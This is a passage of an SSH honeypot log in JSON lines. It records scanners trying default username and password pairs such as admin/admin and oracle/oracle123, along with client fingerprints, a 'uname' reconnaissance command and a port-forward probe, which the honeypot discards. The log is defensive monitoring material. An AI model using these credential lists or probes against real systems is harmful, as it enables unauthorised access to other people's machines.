,"ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:30.151880Z","src_ip":"8.218.166.49","session":"b5a05e72d9da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46100,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a5675206261","protocol":"ssh","message":"New connection: 8.218.166.49:46100 (10.17.0.5:22) [session: 4a5675206261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:37:59.189660Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:01.329953Z","src_ip":"8.218.166.49","session":"b5a05e72d9da","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:16.742018Z","src_ip":"8.218.166.49","session":"d892b71539fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:16.746055Z","src_ip":"8.218.166.49","session":"d892b71539fe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:17.485284Z","src_ip":"8.218.166.49","session":"4a5675206261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:17.554558Z","src_ip":"8.218.166.49","session":"4a5675206261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:33.128814Z","src_ip":"8.218.166.49","session":"a9ee5ab0b4e4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:44.084561Z","src_ip":"8.218.166.49","session":"b5a05e72d9da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:44.088751Z","src_ip":"8.218.166.49","session":"b5a05e72d9da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:55.766169Z","src_ip":"8.218.166.49","session":"d892b71539fe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"14.8","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:58.930639Z","src_ip":"8.218.166.49","session":"b5a05e72d9da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"98.8","message":"Connection lost after 98.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:38:58.936750Z","src_ip":"8.218.166.49","session":"b5a05e72d9da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:14.210866Z","src_ip":"8.218.166.49","session":"a9ee5ab0b4e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:23.241721Z","src_ip":"8.218.166.49","session":"4a5675206261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12558,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c95b5c85bf3","protocol":"ssh","message":"New connection: 87.251.64.176:12558 (10.17.0.5:22) [session: 1c95b5c85bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:25.565813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:25.571707Z","src_ip":"87.251.64.176","session":"1c95b5c85bf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:25.670313Z","src_ip":"87.251.64.176","session":"1c95b5c85bf3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:25.962947Z","src_ip":"87.251.64.176","session":"1c95b5c85bf3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:26.063937Z","session":"1c95b5c85bf3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:26.162879Z","src_ip":"87.251.64.176","session":"1c95b5c85bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:26.264436Z","src_ip":"87.251.64.176","session":"1c95b5c85bf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"87.3","message":"Connection lost after 87.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:26.518964Z","src_ip":"8.218.166.49","session":"4a5675206261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36566,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2b105324d5d","protocol":"ssh","message":"New connection: 8.218.166.49:36566 (10.17.0.5:22) [session: a2b105324d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:39:50.703223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:11.436882Z","src_ip":"8.218.166.49","session":"a2b105324d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:11.444175Z","src_ip":"8.218.166.49","session":"a2b105324d5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:21.113109Z","src_ip":"8.218.166.49","session":"a2b105324d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.6","message":"Connection lost after 31.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:22.325361Z","src_ip":"8.218.166.49","session":"a2b105324d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34030,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea7dfa4eeebf","protocol":"ssh","message":"New connection: 8.218.166.49:34030 (10.17.0.5:22) [session: ea7dfa4eeebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:22.851882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:22.862761Z","src_ip":"8.218.166.49","session":"ea7dfa4eeebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39492,"dst_ip":"10.17.0.5","dst_port":22,"session":"df2bd674dfc8","protocol":"ssh","message":"New connection: 8.218.166.49:39492 (10.17.0.5:22) [session: df2bd674dfc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:37.931434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:37.936674Z","src_ip":"8.218.166.49","session":"df2bd674dfc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39500,"dst_ip":"10.17.0.5","dst_port":22,"session":"13affb8b6f47","protocol":"ssh","message":"New connection: 8.218.166.49:39500 (10.17.0.5:22) [session: 13affb8b6f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:43.585950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:43.591159Z","src_ip":"8.218.166.49","session":"13affb8b6f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:44.647774Z","src_ip":"8.218.166.49","session":"13affb8b6f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:40:59.176479Z","src_ip":"8.218.166.49","session":"13affb8b6f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.7","message":"Connection lost after 23.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:07.302267Z","src_ip":"8.218.166.49","session":"13affb8b6f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:18.506255Z","src_ip":"8.218.166.49","session":"df2bd674dfc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":54634,"dst_ip":"10.17.0.5","dst_port":22,"session":"1862dbaa523e","protocol":"ssh","message":"New connection: 178.20.210.186:54634 (10.17.0.5:22) [session: 1862dbaa523e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:27.527268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:41:27.536847Z","src_ip":"178.20.210.186","session":"1862dbaa523e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha